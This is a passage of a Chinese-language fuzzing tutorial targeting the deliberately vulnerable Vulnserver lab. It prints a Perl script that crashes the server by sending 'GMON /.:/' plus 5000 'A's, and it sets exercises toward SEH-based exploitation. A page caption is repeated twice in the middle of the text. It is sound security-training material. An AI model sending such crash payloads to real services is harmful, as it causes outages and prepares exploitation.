让我们拷一份为TRUN命令寻找bug的perl脚本,修改后为GMON命令做相同的操作。(在第一行把$baddata变量由TRUN修改为GMON)。拷一份trun.pl脚本,命名为gmon.pl,然后确认它的内容如下:

#!/usr/bin/perl

use IO::Socket;

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

if ($ARGV[1] eq '') {

die("Usage: $0 IP_ADDRESS PORTnn");

}

$baddata = "GMON /.:/";

$baddata .= "A" x 5000;

$socket = IO::Socket::INET->new(

Proto => "tcp",

PeerAddr => "$ARGV[0]",

PeerPort => "$ARGV[1]"

) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($serverdata, 1024);

print "$serverdata";

$socket->send($baddata);

给与这个文件可执行权限,运行起来(先确认调试器已重启)。

root@bt4r1vm:~/fuzzing# ./gmon.pl 192.168.56.101 9999

Welcome to Vulnerable Server! Enter HELP for help.

崩溃将会再次发生。我门将触发另外一个bug。

到现在为止,你应该明白这个工具怎么用了吧。我建议你一直测试下去,知道所有脚本测试完毕。

希望这个例子已经让你理解这个程序是如何运行的,明白以后如何开展Fuzzing工作。总的来说,本文就是用包装器脚本定义多个sipke脚本,用这些脚本来发现Vulnserver服务器中的漏洞,确认触发漏洞的文本信息,手工测试确认。然后进入下一个测试循环。 结论

本文展示了用SPIKE脚本寻找潜在可利用漏洞的过程,我们在寻找漏洞时采用的一些列技术同样适用于其他软件。未来将介绍如何利用这些漏洞。

在文章结尾前,本文留下一些有挑战性的工作让读者练习:

1.找出其他4处或更多漏洞,它们都是各不相同;

2.为了触发每一个漏洞,你能算出需要哪些特定的数据发送到Vulnserver吗?这个字符串精确地来说长度为多少个字符(比5000个还能再少点吗?).用其他字符代替字符“A”可以么?一旦你找到引起崩溃的文本,你修改触发文本时很有可能直接改变崩溃生成的结果。在这个时候,某些看起来无法利用的错误通过修改触发文本后就变成了可利用的漏洞点。花一些时间,修改触发漏洞的文本,这可能给你一个关于如何选用更好的SPIKE测试脚本的全新思路。

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

3.按照上边描述的,我们虽然一定程度上实现了自动化,但依然有大量的手工工作-重启被测应用、监控测试触发流程等。我们能进一步推进自动化工作吗?我们可以了解一下基于Python的测试框架Sulley。

早前我们发现的与GMON命令相关的bug没有用我们可以控制的数据覆盖EIP寄存器,你认为这个漏洞可被利用吗?提示一下,读过Windows错误程序处理方法--结构化异常处理 Structured Exception Handlers (SEH)你就明白了。部分成功的fuzzing测试表明,可被识别的漏洞很可能是可以被利用的。只有你成功写出了利用脚本,才能证明这个漏洞的确是可被利用的。

本文来源:https://www.bwwdw.com/article/vlx4.html

Top